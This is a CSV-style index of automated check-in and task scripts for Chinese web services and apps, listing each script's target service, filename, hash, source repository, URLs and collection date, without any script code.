web版/账密,yxw_luckbox,2025-08-21_yxw_luckbox_79511924.py,7951192443b96cec1fe801de769343a2e080be439b46c9b2bfb4372a4cdfe2e1,GitHub,lksky8/sign-ql,yxw_luckbox.py,https://github.com/lksky8/sign-ql/blob/main/yxw_luckbox.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/yxw_luckbox.py,2025-08-21T12:12:12Z,脚本库/web版/账密/yxw_luckbox/2025-08-21_yxw_luckbox_79511924.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,万能福利吧,2025-08-25_wnflb_a0c784cb.js,a0c784cb397ebb321cc918c6d14410bb2e9902d6e2236b6893b2c6fa2779cd01,GitHub,imoki/sign_script,polymerization/wnflb.js,https://github.com/imoki/sign_script/blob/main/polymerization/wnflb.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wnflb.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/万能福利吧/2025-08-25_wnflb_a0c784cb.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,中兴商城,2025-08-25_ztemall_0a7d6031.js,0a7d603145485f774c1078c4b22950dfe8420508397dc2666980208643ed520f,GitHub,imoki/sign_script,polymerization/ztemall.js,https://github.com/imoki/sign_script/blob/main/polymerization/ztemall.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ztemall.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,中兴社区,2025-08-25_ql_ztebbs_4a429a41.js,4a429a410e4ea4f053d462776e08aad07f8f86f34b39053a5762f466f81573d9,GitHub,imoki/sign_script,polymerization/ql_ztebbs.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_ztebbs.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_ztebbs.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/中兴社区/2025-08-25_ql_ztebbs_4a429a41.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,中国日报,2025-08-25_dailynewscn_75088baf.js,75088baf9c9aff8ce8d46747c093efa762cfc964d7e569c153e118419a099cdb,GitHub,imoki/sign_script,polymerization/dailynewscn.js,https://github.com/imoki/sign_script/blob/main/polymerization/dailynewscn.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dailynewscn.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/中国日报/2025-08-25_dailynewscn_75088baf.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,中国移动APP,2026-05-14_chinaMobile_e5179e07.js,e5179e073c2c16d19741c34ac5e61b83a965616f8437b5ca88a4916dc9d25dec,GitHub,smallfawn/QLScriptPublic,daily/chinaMobile.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chinaMobile.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chinaMobile.js,2026-05-14T17:47:57+08:00,脚本库/web版/账密/中国移动APP/2026-05-14_chinaMobile_e5179e07.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,中国移动云盘,2026-05-14_ydyp_da3e5cb2.js,da3e5cb2ed48bc6940da8036157d38a7cbe4b1a47d1732994dc5468b6e9bb835,GitHub,smallfawn/QLScriptPublic,daily/ydyp.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ydyp.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ydyp.js,2026-05-14T17:47:57+08:00,脚本库/web版/账密/中国移动云盘/2026-05-14_ydyp_da3e5cb2.js,账密,web版,web/H5关键词 + username/password/login web版/账密,中石化加油广东APP签到,2022-07-24_jygd_47493387.js,474933874ed61cd8ebd4efed3ee26778f4e3d0290ba16222f9feed61bafb6838,GitHub,lksky8/sign-ql,invalid/jygd.js,https://github.com/lksky8/sign-ql/blob/main/invalid/jygd.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/invalid/jygd.js,2022-07-24T02:54:25Z,脚本库/web版/账密/中石化加油广东APP签到/2022-07-24_jygd_47493387.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,二维码生成,2025-08-25_qrcode_23c17b49.js,23c17b498b2518ba1f69976bdf3eb210ac52090178d9129e0847bd8985402aa4,GitHub,imoki/sign_script,polymerization/qrcode.js,https://github.com/imoki/sign_script/blob/main/polymerization/qrcode.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qrcode.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/二维码生成/2025-08-25_qrcode_23c17b49.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,人生倒计时,2025-08-25_rsdjs_744d40fb.js,744d40fb22fd77808453a1c07f79ec1bddaee6807116b7ce9a4f327872710416,GitHub,imoki/sign_script,polymerization/rsdjs.js,https://github.com/imoki/sign_script/blob/main/polymerization/rsdjs.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/rsdjs.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,人生话语,2025-08-25_rshy_7997ca48.js,7997ca4833d6d52eef8fc136c08035e77a56b3d7b7204dd2dcd7dc01da6da0f5,GitHub,imoki/sign_script,polymerization/rshy.js,https://github.com/imoki/sign_script/blob/main/polymerization/rshy.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/rshy.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/人生话语/2025-08-25_rshy_7997ca48.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,什么值得买抽奖,2025-08-25_ql_smzdm_7052d293.js,7052d29327124b8b254ff6685a45cf8e32ad54e6cf786ecf56acb541ddd4e090,GitHub,imoki/sign_script,polymerization/ql_smzdm.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_smzdm.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_smzdm.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/什么值得买抽奖/2025-08-25_ql_smzdm_7052d293.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,今日油价,2025-08-25_oilprice_e5ab074d.js,e5ab074d7316634f6f8c0f4c3b7639d754eb387a30b72fef27669c4149488611,GitHub,imoki/sign_script,polymerization/oilprice.js,https://github.com/imoki/sign_script/blob/main/polymerization/oilprice.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/oilprice.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/今日油价/2025-08-25_oilprice_e5ab074d.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"传奇GM论坛_,",2021-09-25_diygm_546b3d24.js,546b3d24edf9ad5138473fb53f179e14dd7401c5f3a92b9c74b931cb9a568ade,GitHub,Wenmoux/checkbox,scripts/diygm.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/diygm.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/diygm.js,2021-09-25T00:15:59Z,"脚本库/web版/账密/传奇GM论坛_,/2021-09-25_diygm_546b3d24.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,全国空气吸收剂量率,2025-08-25_airabsorbed_129ae07b.js,129ae07b0f466daf813a4be5daece6297542ac86e94f917c457c308bd9812c8b,GitHub,imoki/sign_script,polymerization/airabsorbed.js,https://github.com/imoki/sign_script/blob/main/polymerization/airabsorbed.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/airabsorbed.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/全国空气吸收剂量率/2025-08-25_airabsorbed_129ae07b.js,账密,web版,web/H5关键词 + username/password/login web版/账密,再漫画自动签到,2026-03-02_zaimanhua_d504877a.py,d504877ad0b3be012794bec38536cdaeaab15f83fe8bafcee5d8d9121dce5b8d,GitHub,Small-tailqwq/ql_script,zaimanhua/zaimanhua.py,https://github.com/Small-tailqwq/ql_script/blob/master/zaimanhua/zaimanhua.py,https://raw.githubusercontent.com/Small-tailqwq/ql_script/master/zaimanhua/zaimanhua.py,2026-03-02T11:07:04Z,脚本库/web版/账密/再漫画自动签到/2026-03-02_zaimanhua_d504877a.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,冷酸灵牙膏,2025-06-28_冷酸灵牙膏_a528b252.js,a528b2523fb93195fc76ed540f422e00a740bb8385c2e0e59a12c37ac81839d1,GitHub,jdqlscript/toulu,冷酸灵牙膏.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%86%B7%E9%85%B8%E7%81%B5%E7%89%99%E8%86%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%86%B7%E9%85%B8%E7%81%B5%E7%89%99%E8%86%8F.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/冷酸灵牙膏/2025-06-28_冷酸灵牙膏_a528b252.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,历史上的今天,2025-08-25_todayhistory_71ae3a46.js,71ae3a462d8366ace26b01c472343fee038d4e45d78b6286265cb9686aa825fd,GitHub,imoki/sign_script,polymerization/todayhistory.js,https://github.com/imoki/sign_script/blob/main/polymerization/todayhistory.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/todayhistory.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js,账密,web版,web/H5关键词 + username/password/login web版/账密,叮咚买菜,2022-11-17_ddmc_2d78fbea_2.js,2d78fbea0d710c7d29ad02178c603c97586bc9a5843ccd9f92cd18d6b8157c80,GitHub,lksky8/sign-ql,ddmc.js,https://github.com/lksky8/sign-ql/blob/main/ddmc.js,https://raw.githubusercontent.com/lksky8/sign-ql/main/ddmc.js,2022-11-17T13:54:32Z,脚本库/web版/账密/叮咚买菜/2022-11-17_ddmc_2d78fbea_2.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,叮咚鱼塘,2025-08-25_ddmc_ddyt_8848c2ac.js,8848c2ac8c9c09a61d016a63d4ebba5937c435dca08666179c5a2be34ed1df8f,GitHub,imoki/sign_script,polymerization/ddmc_ddyt.js,https://github.com/imoki/sign_script/blob/main/polymerization/ddmc_ddyt.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ddmc_ddyt.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/叮咚鱼塘/2025-08-25_ddmc_ddyt_8848c2ac.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,吉利汽车,2026-04-01_jlqc_0104d80b.js,0104d80b003d72d7b006ec58629a99bb10379989119b04fcc2ef59478168168b,GitHub,smallfawn/QLScriptPublic,jlqc.js,https://github.com/smallfawn/QLScriptPublic/blob/main/jlqc.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlqc.js,2026-04-01T11:27:33Z,脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,周安排,2025-08-25_weekplan_01ccb9a9.js,01ccb9a924ae114ae52393b9edefcbfc5d86124fcee00257a206de4f274a7302,GitHub,imoki/sign_script,polymerization/weekplan.js,https://github.com/imoki/sign_script/blob/main/polymerization/weekplan.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weekplan.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/周安排/2025-08-25_weekplan_01ccb9a9.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,和风天气,2025-08-25_hfweather_8f48b643.js,8f48b64324f1403201b65c13840805bab63560c7f4d667e14e2d2072678f1d0c,GitHub,imoki/sign_script,polymerization/hfweather.js,https://github.com/imoki/sign_script/blob/main/polymerization/hfweather.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/hfweather.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/和风天气/2025-08-25_hfweather_8f48b643.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,品赞HTTP代理签到,2025-06-28_品赞代理_79485dab.js,79485dab3ea3a29d4dd5a09f771328d406ba90e352bf93ec3b869eefca72a3bb,GitHub,jdqlscript/toulu,品赞代理.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%93%81%E8%B5%9E%E4%BB%A3%E7%90%86.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/品赞HTTP代理签到/2025-06-28_品赞代理_79485dab.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,哔哩哔哩热搜榜,2025-08-25_bilihot_1ef69980.js,1ef69980ed9d00bbfa7093186b7b11d4687c0eda218618062ffd071ec276313c,GitHub,imoki/sign_script,polymerization/bilihot.js,https://github.com/imoki/sign_script/blob/main/polymerization/bilihot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bilihot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/哔哩哔哩热搜榜/2025-08-25_bilihot_1ef69980.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,喜马拉雅,2025-08-25_ql_xmly_27dc10eb.js,27dc10eb9a69af5d70df5913a29649b1fc8d590f8d785c18ee3172fd49897032,GitHub,imoki/sign_script,polymerization/ql_xmly.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_xmly.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_xmly.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/喜马拉雅/2025-08-25_ql_xmly_27dc10eb.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,图虫,2025-06-28_图虫_11833d7f.js,11833d7ff0048b746c002642b2636a632f984d124a5d95de260dc05c3f9f7090,GitHub,jdqlscript/toulu,图虫.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%9B%BE%E8%99%AB.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%9B%BE%E8%99%AB.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/图虫/2025-06-28_图虫_11833d7f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,在线工具,2025-08-25_ql_toollu_49df7a6e.js,49df7a6e4966974c9250cc595daab349be2c1ef5354eb207a78e582d44c03360,GitHub,imoki/sign_script,polymerization/ql_toollu.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_toollu.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_toollu.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/在线工具/2025-08-25_ql_toollu_49df7a6e.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"天使动漫_,",2023-11-01_tsdm_c051ba94.js,c051ba94048fcba570f5b35beea78d89b8bb9350f5ac8f4d8c258efd07d1bd3d,GitHub,Wenmoux/checkbox,scripts/tsdm.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/tsdm.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/tsdm.js,2023-11-01T04:40:54Z,"脚本库/web版/账密/天使动漫_,/2023-11-01_tsdm_c051ba94.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,天翼云盘,2025-06-28_天翼云盘_3c9fd20b.py,3c9fd20b74cc1a446cf8a8a4dc20b345f27ba2f121d6df5f0055e5f5b5bb87de,GitHub,jdqlscript/toulu,天翼云盘.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%A4%A9%E7%BF%BC%E4%BA%91%E7%9B%98.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%A4%A9%E7%BF%BC%E4%BA%91%E7%9B%98.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/天翼云盘/2025-06-28_天翼云盘_3c9fd20b.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,夸克网盘,2025-08-25_ql_quark_f2d5bcba.js,f2d5bcba16c676b4a50400fcac5108123cea38ea73368a79a40bf5baebc60969,GitHub,imoki/sign_script,polymerization/ql_quark.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_quark.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_quark.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,夸克订阅更新自动转存,2025-08-25_quarksave_84f33509.js,84f33509452b3eddd0bb2c11b597b47fd10d5c8e16fde9cf2287920745ef5b0d,GitHub,imoki/sign_script,polymerization/quarksave.js,https://github.com/imoki/sign_script/blob/main/polymerization/quarksave.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/quarksave.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/夸克订阅更新自动转存/2025-08-25_quarksave_84f33509.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,奇瑞汽车,2026-05-14_chery_022b783a.js,022b783a47c38858a3c9a7afaa031098896163fabfd32345ac93d1c3333c4edb,GitHub,smallfawn/QLScriptPublic,daily/chery.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chery.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chery.js,2026-05-14T17:47:57+08:00,脚本库/web版/账密/奇瑞汽车/2026-05-14_chery_022b783a.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,宝骏汽车视频,2025-06-28_宝骏汽车视频_6330e990.py,6330e990dc2b7001e0109b13ebcc739afaef1a6a9408b768f0c428e55b2430d4,GitHub,jdqlscript/toulu,宝骏汽车视频.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%AE%9D%E9%AA%8F%E6%B1%BD%E8%BD%A6%E8%A7%86%E9%A2%91.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/宝骏汽车视频/2025-06-28_宝骏汽车视频_6330e990.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,宽带技术网,2025-08-25_chinadsl_db342b3d.js,db342b3d6f7631919c5ae6ae460906610890366a47ee9173a951925dad84bc82,GitHub,imoki/sign_script,polymerization/chinadsl.js,https://github.com/imoki/sign_script/blob/main/polymerization/chinadsl.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chinadsl.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/宽带技术网/2025-08-25_chinadsl_db342b3d.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"富贵论坛_,",2022-02-05_fglt_c47d543e.js,c47d543eddc49c5adc9d12127c9fda6edb42b4bb2c0269c5ced70d5ca23de0eb,GitHub,Wenmoux/checkbox,scripts/fglt.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/fglt.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/fglt.js,2022-02-05T01:15:13Z,"脚本库/web版/账密/富贵论坛_,/2022-02-05_fglt_c47d543e.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,小米商城做任务,2025-08-25_mi_d69613f3.js,d69613f314797ce52a9bdbfb1ad5f8eed7b6ace51d6f075be1fe3d988af28c8d,GitHub,imoki/sign_script,polymerization/mi.js,https://github.com/imoki/sign_script/blob/main/polymerization/mi.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/mi.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/小米商城做任务/2025-08-25_mi_d69613f3.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,少数派热榜,2025-08-25_ssphot_1e4b9eda.js,1e4b9eda1163b150bc0f07325d4bac195c85d738c998af3914c3e54e05e410c1,GitHub,imoki/sign_script,polymerization/ssphot.js,https://github.com/imoki/sign_script/blob/main/polymerization/ssphot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ssphot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/少数派热榜/2025-08-25_ssphot_1e4b9eda.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,希沃白板,2025-08-25_ql_easinote_ecd9a632.js,ecd9a6324915abf0b910431dad5a5c4b699c38012bea268408dad89306ef3845,GitHub,imoki/sign_script,polymerization/ql_easinote.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_easinote.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_easinote.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/希沃白板/2025-08-25_ql_easinote_ecd9a632.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,广汽埃安,2025-06-28_广汽埃安_d765e765.js,d765e765b7ca3dc06d021f6976d185f9ff299510be351238783213b618e7399b,GitHub,jdqlscript/toulu,广汽埃安.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B9%BF%E6%B1%BD%E5%9F%83%E5%AE%89.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B9%BF%E6%B1%BD%E5%9F%83%E5%AE%89.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/广汽埃安/2025-06-28_广汽埃安_d765e765.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,废文小说,2025-08-25_ql_fwxs_95659ed7.js,95659ed7330b6398787b6e5ad726dfb75d26b497eab6786bc021b95bb013f4f2,GitHub,imoki/sign_script,polymerization/ql_fwxs.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_fwxs.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_fwxs.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/废文小说/2025-08-25_ql_fwxs_95659ed7.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,微博热搜榜,2025-08-25_wbhot_04ee263f.js,04ee263fbdb25ee3e76ed0689389858acb2bdc6a97990baf8c495a6f4d159750,GitHub,imoki/sign_script,polymerization/wbhot.js,https://github.com/imoki/sign_script/blob/main/polymerization/wbhot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wbhot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,恩山无线论坛,2025-08-25_eswxlt_dc458728.js,dc458728081ed1386d593b8abc5a285bee03b29483601ae862b8212fbeae5641,GitHub,imoki/sign_script,polymerization/eswxlt.js,https://github.com/imoki/sign_script/blob/main/polymerization/eswxlt.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/eswxlt.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/恩山无线论坛/2025-08-25_eswxlt_dc458728.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,手机号归属地,2025-08-25_telgsd_45e96639.js,45e966395d971930e67dc04b9366e6827e21c79c9d6f5b5403208b4814b1d4ed,GitHub,imoki/sign_script,polymerization/telgsd.js,https://github.com/imoki/sign_script/blob/main/polymerization/telgsd.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/telgsd.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/手机号归属地/2025-08-25_telgsd_45e96639.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,抖音热搜榜,2025-08-25_dyhot_4af8123c.js,4af8123c5b6ab5a5f607ead36d182aa9991b0143d203f6103943389de7319fa3,GitHub,imoki/sign_script,polymerization/dyhot.js,https://github.com/imoki/sign_script/blob/main/polymerization/dyhot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dyhot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/抖音热搜榜/2025-08-25_dyhot_4af8123c.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,挑战古诗词,2025-08-25_tzgsc_2717fabb.js,2717fabb694cc919a6f92531c91d9e18168be2342694b7ed46b08e88c9941ec6,GitHub,imoki/sign_script,polymerization/tzgsc.js,https://github.com/imoki/sign_script/blob/main/polymerization/tzgsc.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/tzgsc.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/挑战古诗词/2025-08-25_tzgsc_2717fabb.js,账密,web版,web/H5关键词 + username/password/login web版/账密,方舟健客签到,2025-12-07_jksign_b722f903.py,b722f903ef41b1cab2540fc2a7b84bb51cb2e8d354783a225e3c364b0799a4e6,GitHub,lksky8/sign-ql,jksign.py,https://github.com/lksky8/sign-ql/blob/main/jksign.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/jksign.py,2025-12-07T17:42:50Z,脚本库/web版/账密/方舟健客签到/2025-12-07_jksign_b722f903.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,无锡观察,2025-06-28_无锡观察_75d1a9e7.js,75d1a9e750c86e36d648c26a2df29dd860711cc296266f3998347a115cf7f104,GitHub,jdqlscript/toulu,无锡观察.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%97%A0%E9%94%A1%E8%A7%82%E5%AF%9F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%97%A0%E9%94%A1%E8%A7%82%E5%AF%9F.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/无锡观察/2025-06-28_无锡观察_75d1a9e7.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,日期提醒,2025-08-25_remind_a1656667.js,a165666730d8b62b27564625aa573e3b7040c5d845a4d7cc347c2eb244596669,GitHub,imoki/sign_script,polymerization/remind.js,https://github.com/imoki/sign_script/blob/main/polymerization/remind.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/remind.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/日期提醒/2025-08-25_remind_a1656667.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,早安问候语,2025-08-25_zaoan_22a29697.js,22a296974f99e452797b7780c1758fb2e3ecc5b549b4ef27337a6b734854aed7,GitHub,imoki/sign_script,polymerization/zaoan.js,https://github.com/imoki/sign_script/blob/main/polymerization/zaoan.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/zaoan.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,星座运势,2025-08-25_xingzuo_fc96e27b.js,fc96e27bf3c2e6665ff8d314a8c967cf37eed0d3d5298bda1ccc1a6107ab9e7b,GitHub,imoki/sign_script,polymerization/xingzuo.js,https://github.com/imoki/sign_script/blob/main/polymerization/xingzuo.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xingzuo.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/星座运势/2025-08-25_xingzuo_fc96e27b.js,账密,web版,web/H5关键词 + username/password/login web版/账密,星星充电签到,2025-09-01_xxcd_40e3aef4.py,40e3aef421127efd0fe80201c786cf341993dd4e8318fe4f8456a912aef026e0,GitHub,lksky8/sign-ql,xxcd.py,https://github.com/lksky8/sign-ql/blob/main/xxcd.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/xxcd.py,2025-09-01T15:45:21Z,脚本库/web版/账密/星星充电签到/2025-09-01_xxcd_40e3aef4.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,星芽短剧脚本(解密版),2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js,aa45bfb7967543fb4fe09a6e15cb37f51d304667e3cc21da39c2b399095fcd93,GitHub,jdqlscript/toulu,星芽短剧脚本(解密版).js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%98%9F%E8%8A%BD%E7%9F%AD%E5%89%A7%E8%84%9A%E6%9C%AC%EF%BC%88%E8%A7%A3%E5%AF%86%E7%89%88%EF%BC%89.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%98%9F%E8%8A%BD%E7%9F%AD%E5%89%A7%E8%84%9A%E6%9C%AC%EF%BC%88%E8%A7%A3%E5%AF%86%E7%89%88%EF%BC%89.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/星芽短剧脚本(解密版)/2025-06-28_星芽短剧脚本(解密版)_aa45bfb7.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,晚安问候语,2025-08-25_wanan_b25f6959.js,b25f695945a994e20257babb070e0fdadbe0cac72196bc164120e82d3b1e83da,GitHub,imoki/sign_script,polymerization/wanan.js,https://github.com/imoki/sign_script/blob/main/polymerization/wanan.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wanan.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/晚安问候语/2025-08-25_wanan_b25f6959.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,望潮,2025-06-28_望潮_e2d725b7.js,e2d725b7293f86b982ed2ade97ed16facc9166270b6706e7d02cf9a2cae09c17,GitHub,jdqlscript/toulu,望潮.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AE.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AE.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/望潮/2025-06-28_望潮_e2d725b7.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,望潮py版,2025-06-28_望潮py版_7e3e4c49.py,7e3e4c490c027ab9d226e97579a969b25819e35cbec98bd2987e6fce14620f10,GitHub,jdqlscript/toulu,望潮py版.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AEpy%E7%89%88.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/望潮py版/2025-06-28_望潮py版_7e3e4c49.py,账密,web版,web/H5关键词 + username/password/login 